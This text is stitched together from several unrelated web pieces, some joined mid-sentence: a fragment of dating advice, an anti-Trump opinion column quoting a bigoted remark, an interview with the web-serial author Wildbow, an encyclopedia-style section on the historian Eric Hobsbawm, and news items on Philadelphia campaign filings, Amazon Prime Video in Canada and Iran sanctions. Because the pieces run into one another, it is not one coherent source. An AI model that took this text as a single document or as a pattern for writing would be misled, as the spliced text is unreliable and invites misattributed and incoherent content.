Now, if you want to do better than that guy, you're going to have to take a different approach than the (largely ineffectual) one that he takes. And to get you doing just that, I've got 7 tips for you today that are going to change the way you handle persuading women.When Donald Trump’s security escorted the Univision anchor Jorge Ramos out of a news conference on Tuesday, I decided that I was officially done.
Maybe I should have been long before that.
Maybe I should have been done the one and only time I ever met Trump and his first words to me were a soliloquy about how black people loved him, and he was the most popular white man among black people.
Maybe I should have been done when Trump demanded to see the president’s birth certificate.
Maybe I should have been done any number of times over the years when Trump made any number of racist, sexist comments.
Earlier this month, Politico rounded up 199 of his greatest — and vilest — hits. Here are just a few from the magazine:
9. “I have black guys counting my money. … I hate it. The only guys I want counting my money are short guys that wear yarmulkes all day.” (USA Today, May 20, 1991)In 2011, JC “Wildbow” McCrae launched the first chapter of Worm. Within two years, it was finished with 1.75 million words. In 2014, near the end of my Junior year in college, I discovered the story through TV Tropes and fell in love immediately. Seriously, go read it. It is freaking amazing. After that, he would go on to write Pact (now finished at 950,000 words) and Twig, which is currently ongoing. In the meantime, Worm has generated active fan communities on DeviantArt, TV Tropes (seriously, look how many times its been mentioned on other pages,) and Reddit.
t4nky: Before we begin, did I miss anything about you in my introduction that you want to add?
Wildbow: I should clarify that Worm took 2.4 years to finish. I don’t want to claim more productivity than I’m due. It should also be noted that Worm was my first time writing for the public.
t4nky: Now I know you’re probably not going to answer this ever, but for my fellow Worm fans I must ask this: What exactly does the Sleeper do? What are his powers?
Wildbow: Sleeper was written in as a response to a fan saying that I shouldn’t go into detail and explain every character. He featured in a snippet I wrote back in the day (I spent ten years writing bits and pieces of superhero stuff before settling on the story I wanted to write) and seemed like a good one to drop in. He does have a power, but I think it’s best left unsaid, perhaps until the sequel.
t4nky: Ok, on to the real questions. On the Web Fiction Guide forums where all us web serial authors hang out, you’re kind of famous for your ability to turn out more work in shorter periods of time and of greater quality than the rest of us. How are you able to do this?
Wildbow: Honestly, it’s about putting hours in front of the keyboard, committing to an update schedule, and giving myself no other choice than to get the writing done. Six months in, I set minimum wordcounts, and about a year and a half into the writing I raised that minimum wordcount. Always testing and taxing myself. This probably isn’t news to members of the community or anyone that’s stalked me on reddit, but in 2011 I was in University and doing the writing (though I had the benefit of a backlog during that period), and in 2012 I was working intermittently, putting in maybe an average of 20-30 hours of regular work and 35-50 hours of sitting down and writing at the keyboard.
In my day today, I would wake up, and the first thought in my head would be the writing. When’s the next chapter due? What am I doing today? Where can I fit in the writing? Get up out of bed, go eat, shower, check some things or directions if I was working (mostly doing painting and landscaping and minor handyman assistant stuff), walk the dog, thinking all the while, what are the challenges, what haven’t I figured out for the next chapter? Thinking, musing, everything I’m dealing with is cross-checked against the challenges/snarl/thing I’m trying to overcome. I’d wait for & then hop on the bus to head to the location, and I’d have a notebook out, or my beat up itouch in notepad mode, tucked under one arm as I paid my fare and found my seat. I’d start writing the chapter, trying not to scribble on the page too much when the bus went over bumps, or I’d be making notes and blocking things out in rough form, this chapter this happens, then this, then that, point form.
I’d get to wherever I was working and get everything together, make sure I knew what I was doing, then knuckle down and get to doing something brainless, music playing, painting walls or putting up drywall, and all the while, I’d be playing through conversations in myhead, and I’d mentally store all the best quips and lines and observations. I’d think about characters and their perspectives and what led them to be what they are.
I’d finish the day’s work, get home, write down anything I was afraid I wouldn’t remember if I waited, then I’d read, watch something, or game for an hour or two, check comments and reviews, then spend a bit writing.
On days I didn’t work, the process would be the same, except that I’d sit down to start writing at about 10am, I’d ideally finish at 11pm, edit until midnight, let the chapter upload, then spend a few hours awake, looking for typo notifications and feedback. Crash, sleep, wake up, then either work or have a ‘lazy day’ where I’d do errands and try to recuperate. But even on a lazy day, there wouldn’t be ten minutes that went by without me thinking about the writing, and what I was doing with it.
It consumed me, but I found my way to that state by being dedicated to the update scedule and giving myself no other choice. I couldn’t and can’t conceive of a reality where I work a desk job or trade or whichever, writing feels like the only option that suits me as an individual, and I knew that being successful at writing is a 1 in 100 shot. I wasn’t even thinking about that in terms of making a living (that’s 1 in 100 out of the people who are successful) or making it big (that’s 1 out of 100 of those people), just about writing something good that got attention. The only variable I could control was the amount of work that I put into it. There was no way I was willing to do what I was doing, make the sacrifices, devote myself wholesale to it, and then look back and think ‘I should have worked harder’.
All-in.
t4nky: So, one of the things I learned reading your blog is that Worm wasn’t originally Worm. There were several other stories before Worm was Worm where you wrote that focused on different aspects of the universe. Did Pact and Twig go through a similar process?
Wildbow: When I spent the ages of 15 to 25 meandering through writing, struggling to write something more than a few pages long before burning out on it, it was a fifty-thirty-twenty balance of superhero, modern supernatural and other stuff, respectively. Pact, like Worm, was built on the graveyard of failed writings in the same genre (and a few tidbits from other genres). Pact’s writing mostly featured Maggie Holt as the protagonist, but I decided fairly late (as in, shortly before I wrote the first pact snippet, a few weeks before Pact started) that I would probably end up making her too much like Taylor of Worm. You can’t put so much of yourself in the story and so much of the story in yourself for 2.4 years without something bleeding over. Blake had existed in snippets before, and I tweaked him to make him as different from Taylor as possible, while still being comfortable to write. I think I needed to, to avoid constraining myself as a writer.
Twig, by contrast, did have some snippets and drafts done, but far less than you would think. A half dozen at most, compared to the number I did for Worm (a hundred or more snippets) or Pact (slightly less). I do think it shows in little ways, the language and the conceit of the setting isn’t so well established from the outset, but it’s not so lacking that people have complained or fled in droves.
t4nky: Speaking of those other stories, was it hard to show any of those stories to the public? Are there any you want to revisit?
Wildbow: Worm is the first story I showed to the public. When Worm ended, I gave people a peek at the snippets and drafts I wrote prior to settling on Worm as a story. They were rough, but I think the writing of Worm revealed more of me and showed off more in the way of my writerly vulnerabilities than the snippets did. The snippets were casual, more a thought exercise than anything, and Worm itself was something that took a lot out of me. I had a lot of hopes and stuff resting on Worm, and I cared and care more about how Worm is received than any rough sketches I wrote years ago.
t4nky: You plan on doing a sequel to Worm. How do you top it? Once you put the entire world at risk, you can’t really top it, especially the way you did it.
Wildbow: People have frequently said that Worm is an exercise in ‘just when I thought it couldn’t be topped, Wildbow raised the bar’. I don’t think it’s impossible to take things a step further.
That said, my instinct is that I don’t necessarily want to make the same journey. In writing Twig, I’m experimenting more with different degree and pacing of conflict, and I’m hoping to take lessons learned from this and carry them forward. I know people generally enjoy the street-level stuff, and having more of it with some plots and quandaries would be nice.
t4nky: One of the recurring themes in your work is that powers don’t really make the person, its the person who makes the power. A lot of your more dangerous characters seem underpowered at first glance, then they use their power in some unexpected way. How do you keep coming up with new ways to use powers?
Wildbow: I write myself into corners. A character has a certain set of skills, they have strengths and weaknesses. Take that character, and thrust them into a scene where their weaknesses are highlighted and they can’t draw on their full strengths. How do they cope? I force myself to look through the character’s eyes, look at what they have available to them, and look for alternate angles. Some of the best cliffhangers and tricks in Worm or Pact (and perhaps Twig too, though it’s early days still) came from scenes where I had no idea how the characters would survive the encounter before I started the chapter. Of course, it’s important that a writer not twist events to make things easier on the character, and if I can’t think of a solution, then the character shouldn’t be able to either – and the character suffers accordingly.
I think this is what makes some scenes so intense for the reader. The character is struggling to survive and the desperate gambits we see are echoed by my writerly desperation to figure out a way to keep things going.
t4nky: So, what are some of your inspirations for your stories? I have my own guesses, but I kind of want to hear from you. [My guesses: Neil Gaiman and Alan Moore. Especially Moore. You can’t tell me Watchmen had no effect on Worm.]
Wildbow:Oh boy. My answer may seem contentious here, but I don’t know that inspiration exists like people expect it to, and when this question comes up, I’m always a little suspicious of the person asking, and even the person answering.
Mark Twain wrote, “There is no such thing as a new idea. It is impossible. We simply take a lot of old ideas and put them into a sort of mental kaleidoscope. We give them a turn and they make new and curious combinations. We keep on turning and making new combinations indefinitely; but they are the same old pieces of colored glass that have been in use through all the ages.” – pay attention to the part where he says ‘a lot of’ and ‘kaleidoscope’. I think to truly create anything original with its own merit, you have to consume vast amounts of media. People say you need to read, but I believe in watching television, watching movies, reading comics, reading manga, listening to music, meeting people, and going through hardships.
If something is so centric to a work that an author can say, “I was inspired by [movie] or [book]”, then my gut feeling is that they haven’t broken down things into small enough pieces. I could list a thousand works that inspired tidbits or facets of Worm, but I feel like it would be dishonest to point to something in abstract and give it a measure of credit. I’m forced to give a really crummy answer and maybe sound pretentious and simply say, “Too many things to count,” or, “Everything.”
That said, when I started out, my goal was to figure out how to write more than a few pages at a time. I was in University, I was studying applied language, and the topic of the writing process came up. I’d been so focused on the product, the words on the page, the lack of pages, and the lack of quality, that I’d failed to look at the process. I decided to change my process, change how I wrote, and I don’t know that I would have decided to write a web serial if I hadn’t read Jim Zoeteway’s Legion of Nothing and Alexandra Erin’s Tales of MU. Inspiration is the wrong word, because I feel like it would be misrepresenting what I wrote and what they wrote by drawing a parallel that doesn’t entirely exist, but in a way, they did give me permission, and I feel like I owe them a great deal.
t4nky: You said that you weren’t going to do physical editions of Pact. Why? It would be a shame if you don’t because it fell victim to how distracted I get when I try to read something online and I want to give it a second chance. Print form would be a good way to do that.
Wildbow: Pact suffered because I had real life things going on at the time of the writing. My mother was in and out of the hospital, I was having trouble with my living situation, was trying to find (and later move to) a new place out of town where rent would be cheaper and there would be less day to day hassle, and a big chunk of the year was dominated by my brother’s wedding, which was so out of the way that three cars didn’t survive the trip, with an excess of ten thousand dollars in repair costs.
I was distracted, and in the midst of that distraction, I defaulted to more escalation, more tension, and skipped things that would have given the story more depth. A recurring complaint about Pact is that it doesn’t stop. It doesn’t provide respite. There are things people like about it, and it does have its good points, but the problems in terms of how it’s all put together are such that it would almost require a wholesale rewrite to produce something I’d be really happy publishing.
Worm is twice as long as Pact (and took twice as long to write), but I feel like editing Pact to bring it up to par would take two to four times as long as it would with Worm.
Even if I did put in the time and energy, I suspect Pact wouldn’t pay off the way I hope Worm might.
It’s simply not worth it, in terms of the effort for the payoff.
t4nky: When did you realize that Worm was taking off? What was your first thought when it hit you?
Wildbow: Earlier, I talked about different measures. The one in a hundred chance that I might produce something people generally consider ‘excellent’. I think Gavin William’s review was the point where I thought, “Worm could be something” and “People really like this.” – that was when I realized that I could be that one in a hundred. My expectation at the time was that I could have a primary job and I would spend my spare time writing. There would be sacrifices, but such would be my mark on the world.
The point where I realized that making it as a writer might be within my grasp was in early 2013, when I received my first one thousand dollar donation. I received another almost a month later. I was thrilled, I could barely contain myself, and I was daunted because the donation meant I had to write five bonus chapters in coming weeks (swiftly escalating to thirteen after the second donation). I was able to stop working the odd jobs (barring one every month or every couple of weeks) and coast on the funds and savings. My entire life changed, but it remained something dreamlike, like I was dazed, and I couldn’t quite believe that things were going the way they were.
At the point where Worm was finishing, Eliezer Yudkowsky, author of Harry Potter and the Methods of Rationality, made a recommendation for Worm, a lot of people were picking up the story, and people were excited. My readership doubled in the last few months, I had donations in the thousands of dollars. That was when I knew that there was a very real possibility that Worm could make it big. I told myself not to get my hopes up, but some serials out there had garnered less attention and been approached by major publishers, and that perhaps something would come of it.
Nothing on that scale has come up, though I have been approached by countless entrepreneurs and startups, by small publishers and editors, and I’ve been contacted by record keepers who ask about rights and contact information for television and movie studios, with no indication of who it was that they were asking on behalf of (and no responses from those individuals since).
It’s still a little hard to believe, looking at it all in abstract. When I started Worm I had zero self esteem, I was struggling through University, struggling to write, and I had no vision for my future. Now I’m in a nice affordable apartment in a small town with fanart on my wall and I’m paying my bills, and I’m doing it with writing as my sole source of income. A part of me still expects to wake up or for reality to catch up with me.
t4nky: On a related note, did you make the TV Tropes page and the Subreddit or did fans make them? If you did create one, what were the reasons?
Wildbow:I created the TV tropes page, and as I must do every time I bring this up, I should stress that this is allowed, based on what I’ve read, but being the sole contributor of the page is discouraged and may suggest you’re not noteworthy. I did it because fans bugged me and kept talking about doing it but never actually made it happen. Once it was created with five or ten entries in it, I let it be, and fans expanded it. TV tropes has been my primary or secondary source of new readers, all in all, with people wiki-walking their way to my writing in the same way you probably did.
t4nky: You’ve got a lot of people who’ve made fan art for Worm. Have you considered commissioning cover art from one of them? Also, do you have any particular favorites?
Wildbow:I’m fond of Aerryi’s work, and have a big print of her ‘Green Eyes’ on the wall of my office, with plans to print more and put up above my desk when I’m home for a more extended period of time.
There’s also an image of Tattletale that was commissioned, which is flat out beautiful, even if she’s sitting on a tightrope for no apparent reason. I plan to contact the artist and get his permission to print out the artwork, as I did with Aerryi.
In terms of cover art, I don’t want to commit to anything, and I think a number of the fan-artists I might contract are adamantly against doing work for pay. I have commissioned art from fans (the banner for Pact on TWF and the header image for Twig, as well), and I’m happy to involve fans and give back to the community that’s given me so much.
t4nky: I forget the exact threads, but at several points on Reddit, you mention how you’re pretty much deaf without hearing aids. Is there any reason you haven’t had a deaf character into your story? The way you describe it, it seems like it would make a good story.
Wildbow:I was born eleven weeks early, I got a bad blood transfusion with cytomegalovirus, which led to hyperbilirubenemia (blood broke down, I turned orange, system failure), had multiple cardiac arrests, yadda yadda yadda. Out of the seven causes of deafness in newborns, I had six, dodging only the meningitis bullet. I’m severely to profoundly deaf (a good eight or nine out of ten on the ‘can’t hear’ scale, depending on whether it’s high or low pitched sound), got hearing aids (and later a cochlear implant) and went to a regular school.
I’ve drawn on my experiences, with Taylor and Blake both paralleling my experiences in different ways and phases of my life, but I I think that telling a story with a character that can’t effectively communicate is difficult, and would require a different sort of circumstance or story to effectively share.
t4nky: After you finish Twig and Worm 2, what’s next? Are you going to continue to find your niche? Revisit some other old stuff? Or are you going to try something completely different?
Wildbow: Worm 2 may well be long, depending on the shape it takes in the end, and I figure I’ll have some time to explore and figure out where to go next. At this stage, I would rather explore than try to find and wedge myself into a niche, and I would hope to tell a variety of stories, occasionally revisiting old favorites.
My experiences with writing have told me that it’s hard to predict what comes further down the line. A part of me hopes that something might end up happening with people wanting to pick up my work or adapt it or something else, and I’d rather leave possibilities open rather than commit to something at this stage. It may well be that I end up working with a TV studio to produce a Worm show, or switching tacks to pursue a secondary project. I would like to keep writing, no matter what I do, so that readers have things to come back to, though, and with this in mind, I’m always thinking about what I might write next, much in the same way I’m always thinking ‘what am I doing for the next chapter? The next arc?’.
A part of me wonders about maybe just shaking things up, practicing beginnings and endings, and simply spending a year writing a self contained story every month or two. See about writing six to ten novels in a year, how good I can make them, and whether I can switch tacks.
But, as in all things, what happens after Worm 2 depends.
t4nky: When you aren’t writing, managing, and promoting your web serials, what do you do for fun? Do you watch movies, TV shows, listen to music, play games, read books? Anything you’d recommend?
Wildbow: I go for walks, I write up game concepts, work on Weaver Dice (the work-in-progress Worm pen and paper game), watch movies, watch TV, read comics, read |
largest Communist Party in the western world, the Italian Communist Party (PCI), of which he declared himself a "spiritual member". He developed contacts with Italian left-wing academics and intellectuals in the early 1950s, which led to him encountering the work of Antonio Gramsci, whose writings were a key influence on Hobsbawm's work on the history of subaltern groups, emphasising their agency as well as structural factors. Hobsbawm spoke favourably about PCI general secretary Enrico Berlinguer's strategy of Historic Compromise in the 1970s, seeking rapprochement with the Catholic Church and the Christian Democrats, providing passive support to the latter in government in order to bring the Communists into the political mainstream by accepting Italy's position as a member of NATO, thus being able to build broader alliances and convince wider sections of society of its legitimacy as a potential governing force.[27]
From the 1960s, his politics took a more moderate turn, as Hobsbawm came to recognise that his hopes were unlikely to be realised, and no longer advocated "socialist systems of the Soviet type".[28] Until the day of his death, however, he remained firmly entrenched on the Left, maintaining that the long-term outlooks for humanity were 'bleak'.[29][30][31][32][33] "I think we ought to get out of that 20th-century habit of thinking of systems as mutually exclusive: you’re either socialist or you’re capitalist, or whatever," Hobsbawm has stated in regards to the emergence of a new historical system. "There are plenty of people who still think so. I think very few attempts have been made to build a system on the total assumption of social ownership and social management. At its peak the Soviet system tried it. And in the past 20 or 30 years, the capitalist system has also tried it. In both cases, the results demonstrate that it won’t work. So it seems to me the problem isn’t whether this market system disappears, but exactly what the nature of the mixture between market economy and public economy is and, above all, in my view, what the social objectives of that economy are. One of the worst things about the politics of the past 30 years is that the rich have forgotten to be afraid of the poor – of most of the people in the world."[34]
Communism and Russia [ edit ]
Hobsbawm stressed that since communism was not created, the sacrifices were in fact not justified—a point he emphasised in Age of Extremes:
Still, whatever assumptions are made, the number of direct and indirect victims must be measured in eight rather than seven digits. In these circumstances it does not much matter whether we opt for a "conservative" estimate nearer to ten than to twenty million or a larger figure: none can be anything but shameful and beyond palliation, let alone justification. I add, without comment, that the total population of the USSR in 1937 was said to have been 164 millions, or 16.7 millions less than the demographic forecasts of the Second Five-Year Plan (1933–38).[35]
Elsewhere he insisted:
I have never tried to diminish the appalling things that happened in Russia, though the sheer extent of the massacres we didn't realise...In the early days we knew a new world was being born amid blood and tears and horror: revolution, civil war, famine—we knew of the Volga famine of the early '20s, if not the early '30s. Thanks to the breakdown of the west, we had the illusion that even this brutal, experimental, system was going to work better than the west. It was that or nothing.[6]
With regard to the 1930s, he wrote that
It is impossible to understand the reluctance of men and women on the left to criticise, or even often to admit to themselves, what was happening in the USSR in those years, or the isolation of the USSR's critics on the left, without this sense that in the fight against fascism, communism and liberalism were, in a profound sense, fighting for the same cause. Not to mention the more obvious fact...that, in the conditions of the 1930s, what Stalin did was a Russian problem, however shocking, whereas what Hitler did was a threat everywhere.[36]
He claimed that the demise of the USSR was "traumatic not only for communists but for socialists everywhere",[37]
Miscellaneous views [ edit ]
Regarding the Queen, Hobsbawm stated that constitutional monarchy in general has "proved a reliable framework for liberal-democratic regimes" and "is likely to remain useful".[38] On the nuclear attacks on Japan in World War II, he adhered to the view that "there was even less sign of a crack in Japan's determination to fight to the end [compared with that of Nazi Germany], which is why nuclear arms were dropped on Hiroshima and Nagasaki to ensure a rapid Japanese surrender".[39] He also believed there was an ancillary political, non-military reason for the bombings: "perhaps the thought that it would prevent America's ally the USSR from establishing a claim to a major part in Japan's defeat was not absent from the minds of the US government either."[40] Hobsbawm is also quoted as saying that, next to sex, there is nothing so physically intense as 'participation in a mass demonstration at a time of great public exaltation'.[7]
Praise and criticism [ edit ]
In 1994, Neal Ascherson said of Hobsbawm: "No historian now writing in English can match his overwhelming command of fact and source. But the key word is 'command'. Hobsbawm's capacity to store and retrieve detail has now reached a scale normally approached only by large archives with big staffs".[13] In 2002, Hobsbawm was described by right-leaning magazine The Spectator as "arguably our greatest living historian—not only Britain's, but the world's",[41] while Niall Ferguson wrote: "That Hobsbawm is one of the great historians of his generation is undeniable...His quartet of books beginning with The Age of Revolution and ending with The Age of Extremes constitute the best starting point I know for anyone who wishes to begin studying modern history. Nothing else produced by the British Marxist historians will endure as these books will."[42] In 2003, The New York Times described him as "one of the great British historians of his age, an unapologetic Communist and a polymath whose erudite, elegantly written histories are still widely read in schools here and abroad".[43] James Joll wrote in The New York Review of Books that "Eric Hobsbawm's nineteenth century trilogy is one of the great achievements of historical writing in recent decades".[44] Ian Kershaw said that Hobsbawm's take on the twentieth century, his 1994 book, The Age of Extremes, consisted of "masterly analysis". Meanwhile, Tony Judt, while praising Hobsbawm's vast knowledge and graceful prose, cautioned that Hobsbawm's bias in favour of the USSR, communist states and communism in general, and his tendency to disparage any nationalist movement as passing and irrational, weakened his grasp of parts of the 20th century.[46]
With regard to the impact of his Marxist outlook and sympathies on his scholarship, Ben Pimlott saw it as "a tool not a straitjacket; he's not dialectical or following a party line", although Judt argued that it has "prevented his achieving the analytical distance he does on the 19th century: he isn't as interesting on the Russian revolution because he can't free himself completely from the optimistic vision of earlier years. For the same reason he's not that good on fascism".[6]
British historian David Pryce-Jones conceded that Hobsbawm was "no doubt intelligent and industrious, and he might well have made a notable contribution as a historian", but also charged that Hobsbawm, as a professional historian who has "steadily corrupted knowledge into propaganda, and scorns the concept of objective truth", was "neither a historian nor professional."[14] After reading Age of Extremes, Kremlinologist Robert Conquest concluded that Hobsbawm suffers from a "massive reality denial" regarding the USSR,[43] and John Gray, though praising his work on the nineteenth century, has described Hobsbawm's writings on the post-1914 period as "banal in the extreme. They are also highly evasive. A vast silence surrounds the realities of communism, a refusal to engage which led the late Tony Judt to conclude that Hobsbawm had 'provincialised himself'. It is a damning judgement".[47]
In a 1994 interview on BBC British television with Canadian author and politician Michael Ignatieff (whose grandfather and great-grandfather were ministers of the Czar prior to the Bolshevik Revolution), he shocked viewers when he said that the deaths of millions of Soviet citizens under Stalin would have been worth it if a genuine Communist society had been the result.[5][48][49] Hobsbawm argued that, "In a period in which, as you might imagine, mass murder and mass suffering are absolutely universal, the chance of a new world being born in great suffering would still have been worth backing" but, unfortunately, "the Soviet Union was not the beginning of the World Revolution".[48][50] The following year, when asked the same question on BBC Radio 4's Desert Island Discs, if "the sacrifice of millions of lives" would have been worth the future communist society, he replied: "That's what we felt when we fought the Second World War".[6] He repeated what he had already said to Michael Ignatieff, when he asked the rhetorical question, "Do people now say we shouldn't have had World War II, because more people died in World War II than died in Stalin's terror?".[48]
Tony Judt opined that Hobsbawm "clings to a pernicious illusion of the late Enlightenment: that if one can promise a benevolent outcome it would be worth the human cost. But one of the great lessons of the 20th century is that it's not true. For such a clear-headed writer, he appears blind to the sheer scale of the price paid. I find it tragic, rather than disgraceful."[6] Neil Ascherson believes that, "Eric is not a man for apologising or feeling guilty. He does feel bad about the appalling waste of lives in Soviet communism. But he refuses to acknowledge that he regrets anything. He's not that kind of person."[6] Hobsbawm himself, in his autobiography, wrote that he desires "historical understanding...not agreement, approval or sympathy".[51]
The 1930s aside, Hobsbawm was criticised for never relinquishing his Communist Party membership. Whereas people like Arthur Koestler left the Party after seeing the friendly reception of Nazi foreign minister Joachim von Ribbentrop in Moscow during the years of the Molotov–Ribbentrop Pact (1939–1941), Hobsbawm stood firm even after the Soviet invasions of Hungary and Czechoslovakia, though he was against them both.[6][43] In his review of Hobsbawm's 2002 memoirs, Interesting Times, Niall Ferguson wrote:
Hobsbawm let his membership lapse not long before the party's dissolution in 1991.[6] In his review of Hobsbawm's memoirs, David Pryce-Jones accuses him of actually supporting the invasion of Hungary:
[H]e carefully makes sure not to quote the letter he published on 9 November 1956 in the Communist Daily Worker defending the Soviet onslaught on Hungary: "While approving, with a heavy heart, of what is now happening in Hungary, we should therefore also say frankly that we think the USSR should withdraw its troops from the country as soon as this is possible." Which is more deceitful, the spirit of this letter, or the omission of any reference to it [in his memoirs]?[14]
In those memoirs, Hobsbawn wrote: "The dream of the October Revolution is still there somewhere inside me... I have abandoned, nay, rejected it, but it has not been obliterated. To this day, I notice myself treating the memory and tradition of the USSR with an indulgence and tenderness."[53] Reviewing the book, David Caute wrote: "One keeps asking of Hobsbawm: didn't you know what Deutscher and Orwell knew? Didn't you know about the induced famine, the horrors of collectivisation, the false confessions, the terror within the Party, the massive forced labour of the gulag? As Orwell himself documented, a great deal of evidence was reliably knowable even before 1939, but Hobsbawm pleads that much of it was not reliably knowable until Khrushchev's denunciation of Stalin in 1956."[41]
Reviewing Hobsbawm's 2011 How to Change the World in the Wall Street Journal, Michael Moynihan argued:
When the bloody history of 20th century communism intrudes upon Mr. Hobsbawm's disquisitions, it's quickly dismissed. Of the countries occupied by the Soviet Union after World War II—"the Second World War," he says with characteristic slipperiness, "led communist parties to power" in Eastern and Central Europe—he explains that a "possible critique of the new [postwar] socialist regimes does not concern us here." Why did communist regimes share the characteristics of state terror, oppression and murder? "To answer this question is not part of the present chapter." Regarding the execrable pact between Nazi Germany and Stalinist Russia, which shocked many former communist sympathizers into lives of anticommunism, Mr. Hobsbawm dismisses the "zig-zags and turns of Comintern and Soviet policy," specifically the "about-turn of 1939–41," which "need not detain us here." In one sense, Mr. Hobsbawm's admirers are right about his erudition: He possesses an encyclopedic knowledge of Marxist thought, specifically Italian communism and pre-Soviet socialist movements. But that knowledge is wasted when used to write untrustworthy history.[43]
Reviewing the same book, Francis Wheen argued in a similar vein: "When writing about how the anti-fascist campaigns of the 1930s brought new recruits to the communist cause, he cannot even bring himself to mention the Hitler-Stalin pact, referring only to 'temporary episodes such as 1939–41'. The Soviet invasion of Hungary and the crushing of the Prague Spring are skipped over."[54]
David Evanier, in an article published in the American neoconservative magazine The Weekly Standard, called Hobsbawm "Stalin's cheerleader", writing: "One can learn almost nothing about the history of communism from Hobsbawm's Interesting Times—nothing about the show trials, the torture and execution of millions, the Communist betrayal of Spain."[55]
An alternative conservative assessment of Hobsbawm came from Matthew Walther in National Review. While attacking Hobsbawm for his communist sympathies and his purported views about Israel, Walther wrote that "There is no denying his [Hobsbawm's] intelligence and erudition" and concluded that "if Hobsbawm is read 50 or 100 years from now, it will probably be despite rather than because of his politics."[56]
In 2008, the historian Tony Judt summed up Hobsbawm's career thus: "Eric J. Hobsbawm was a brilliant historian in the great English tradition of narrative history. On everything he touched he wrote much better, had usually read much more, and had a broader and subtler understanding than his more fashionable emulators. If he had not been a lifelong Communist he would be remembered simply as one of the great historians of the 20th century".[5]
Death [ edit ]
In the early hours of 1 October 2012, Hobsbawm died at the Royal Free Hospital in London.[57] His daughter Julia confirmed that he died of pneumonia, while suffering complications of his leukemia. She said,
He'd been quietly fighting leukemia for a number of years without fuss or fanfare. Right up until the end he was keeping up what he did best, he was keeping up with current affairs, there was a stack of newspapers by his bed.[58]
Following Hobsbawm's death reactions included praise for his "sheer academic productivity and prowess" and "tough reasoning" in The Guardian.[59] Reacting to news of Hobsbawm's death, Ed Miliband called him "an extraordinary historian, a man passionate about his politics... He brought history out of the ivory tower and into people's lives".[60] He was cremated at Golders Green Crematorium and his ashes were interred in Highgate Cemetery. A memorial service for Hobsbawm was held at the New School in October 2013.[56]
Impact [ edit ]
Owing to his status as a widely read and prominent Communist historian, and the fact that his ideology had influenced his work, Hobsbawm has been credited with spreading Marxist thought around the globe.[2] His writings reached particular prominence in India and Brazil in the 1960s and 1970s at a time of lively debate about these countries' political and social future.[2] Emil Chabal, in an essay for Aeon, writes that "In the period from the early 1960s to the late ’80s, Marxists in noncommunist countries were increasingly able to participate in a transnational discussion over the past and future of capitalism, and the most promising agents of revolutionary change. Hobsbawm played a starring role in these discussions – and, occasionally, set the agenda."[2]
Partial publication list [ edit ]
Honours and awards [ edit ]
C.H. Insignia of
See also [ edit ]
Notes [ edit ]Philadelphia City Council President Darrell Clarke and Councilmember Cindy Bass are 45 days late in filing their annual campaign finance reports, violating state election codes.
The Philadelphia City Commissioners’ office, which oversees local elections, acknowledged that neither official’s campaign had filed a required annual report summarizing political fundraising and expenditures. Both will be fined $250.
State codes require that elected officials and PACs file annual reports by Jan. 31.
When contacted by City&State, Clarke’s campaign finance chair, Charles Gibbs, said the report would be submitted “soon.”
“It is my responsibility to ensure the filing of the report. The delay in filing with the local board of elections is due to my clerical oversight and it will be rectified immediately,” he said. “With the filing of the report, I will be paying any applicable late fees.”
Bass’ office blamed a "personnel change" for the delay.
"It should be filed today or Monday," Bass said, on Friday. "We obviously never want to have this happen and we will fix it."
The Commissioners’ office said Clarke and Bass were the only elected officials who had yet to file annual reports.Amazon's streaming video service is about to launch in Canada, if the former host of Top Gear is to be believed.
Jeremy Clarkson seemingly let the cat out of the bag in a tweet promoting his new show on Thursday, telling his followers that his new Amazon-produced show The Grand Tour will be available in Canada next month, because Amazon has "gone global."
So. People of Ireland, Canada, Australia and pretty well everywhere else. You WILL be able to watch the Grand Tour. Amazon has gone global. —@JeremyClarkson
Amazon's Prime delivery service costs $99 a year and allows customers to get faster delivery as well as a host of other perks. One of the biggest benefits in recent years has been access to the company's catalog of streaming video, including the Emmy Award-winning show Transparent.
While Canadians have been able to sign up for Prime since 2013, access to the streaming service has been denied because of difficulties over rights.
When asked for confirmation that a rollout of video streaming is imminent, a spokesman with Amazon was coy. "We are excited to announce that The Grand Tour will be able to be streamed from over 200 countries and territories around the world in December," Kaan Yalkin said.
When asked to elaborate as to whether that means a full Prime video launch is coming, Yalkin said the service launched in Canada in 2013 and gives subscribers faster shipping, photo storage, access to deals and other exclusive discounts.
Unlike other streaming services that are designed to be revenue-generating businesses on their own, Amazon treats its Prime service as an add-on to its core business — selling things online.
Data suggests that Prime members spend an average of $1,200 US per year buying other products on Amazon. Non-Prime members, meanwhile, spend just $500 a year, on average.
The move would come at a time of great upheaval in the streaming space in Canada. Rogers and Shaw have announced they will close their service, Shomi, at the end of this month, leaving Bell's CraveTV as the main competitor to Netflix's massive foothold of more than five million customers in Canada.
Rogers says Shomi has signed up under a million people since its launch two years ago. CraveTV has about the same number.
CRTC chairman Jean-Pierre Blais lambasted Rogers and Shomi for pulling the plug on Shomi just this week.
"Far be it for me to criticize the decisions taken by seasoned business people, but I can't help but be surprised when major players throw in the towel on a platform that is the future of content — just two years after it launched," Blais said.
"I have to wonder if they are too used to receiving rents from subscribers every month in a protected ecosystem, rather than rolling up their sleeves in order to build a business without regulatory intervention and protection."
A question unanswered following Shomi's cancellation is what will happen to the rights to the shows on offer via the service. Shomi owns the exclusive Canadian broadcast rights to stream Amazon's Transparent, for example.
So far, Rogers has said little about what it plans on doing with its rights catalog, an asset it spent heavily on to acquire.
For its part, Bell has expanded its streaming options since the demise of Shomi, signing deals with U.S. network Showtime for a suite of shows, and inking a pact to show the entire back catalog of James Bond movies.'We’ve been trying for months to get a debate and a vote,' Sen. McConnell says. | John Shinkle/POLITICO Republicans want Iran sanctions vote
Senate Republicans are demanding a vote on new Iran sanctions as part of an unrelated bill.
Still miffed that they didn’t get an Iran vote as part of a 2013 defense bill, the GOP has rolled sanctions language authored by Sens. Bob Menendez (D-N.J.) and Mark Kirk (R-Ill.) into its alternative to the Democratic veterans benefits’ bill written by Sen. Bernie Sanders (I-Vt.).
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By calling for the Senate to vote on a substitute written by Sen. Richard Burr (R-N.C.), Republicans are hoping to force Senate Majority Leader Harry Reid (D-Nev.) into holding a vote that he has repeatedly spurned in recent months.
“We’ve been trying for months to get a debate and a vote on the Kirk-Menendez Iran sanctions bill,” Senate Minority Leader Mitch McConnell told reporters Tuesday. “We’ll be discussing it at length on the floor on why we should go forward with that legislation and why we ought to get a vote on it, because it’s a very time sensitive matter.”
The sanctions legislation would impose conditional economic penalties on Iran if the country fails to follow through on an interim deal or pulls out of ongoing global negotiations to permanently curtail its nuclear ambitions in return for some sanctions relief.
